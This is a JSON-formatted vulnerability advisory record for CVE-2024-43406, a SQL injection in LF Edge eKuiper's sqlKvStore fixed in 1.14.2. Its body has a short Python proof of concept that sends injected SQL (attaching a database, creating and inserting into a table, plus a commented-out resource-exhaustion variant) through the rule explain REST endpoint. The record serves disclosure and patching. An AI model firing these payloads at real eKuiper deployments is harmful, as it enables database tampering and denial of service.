{"id":"CVE-2024-43406","aliases":["GHSA-r5ph-4jxm-6j9p","GO-2024-3078","PYSEC-2024-72"],"title":"LF Edge eKuiper has a SQL Injection in sqlKvStore","summary":"LF Edge eKuiper has a SQL Injection in sqlKvStore","severity":"high","cvss":8.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","vendor":"lf-edge","product":"github.com/lf-edge/ekuiper","ecosystem":"go","affected":["github.com/lf-edge/ekuiper < 1.14.2","ekuiper < 1.14.2"],"patched":["github.com/lf-edge/ekuiper 1.14.2","ekuiper 1.14.2"],"published":"2024-08-20","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:55.394825658Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-r5ph-4jxm-6j9p","references":[{"url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43406"},{"url":"https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503"},{"url":"https://github.com/lf-edge/ekuiper"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml"}],"tags":["osv","go"],"epss":0.00894,"epssPercentile":0.57472,"ingestedAt":"2026-09-12T03:13:01.724Z","slug":"CVE-2024-43406","body":"## Overview\n\n### Summary\nA user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. \n\n### Details\nI will use explainRuleHandler (\"/rules/{name}/explain\") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.\n\nThe SQL injection can happen in the code:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93\nThe code to accept user input is:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277\n\nThe rule id in the above code can be used to exploit SQL query.\n\nNote that the delete function is also vulnerable:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141\n\n### PoC\n```\nimport requests\nfrom urllib.parse import quote\n\n# SELECT val FROM 'xxx' WHERE key='%s';\npayload = f\"\"\"'; ATTACH DATABASE 'test93' AS test93;\nCREATE TABLE test93.pwn (dataz text);\nINSERT INTO test93.pwn (dataz) VALUES (\"sql injection\");--\"\"\"\n\n#payload = \"deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--\"\n\nurl = f\"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain\"   # explainRuleHandler\n\nres = requests.get(url)\nprint(res.content)\n```\n\nThe screenshot shows the malicious SQL query to insert a value:\n![image](https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb)\n\nThe screenshot shows the breakpoint of executing the query:\n![image](https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f)\n\n\n\n\n### Impact\nSQL Injection vulnerability\n\nThe reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.\n\n\n## Affected packages\n\n- `github.com/lf-edge/ekuiper < 1.14.2`\n- `ekuiper < 1.14.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/lf-edge/ekuiper 1.14.2`\n- `ekuiper 1.14.2`","depth":"twilight","depthScore":49,"depthScoreParts":{"impact":48.4,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}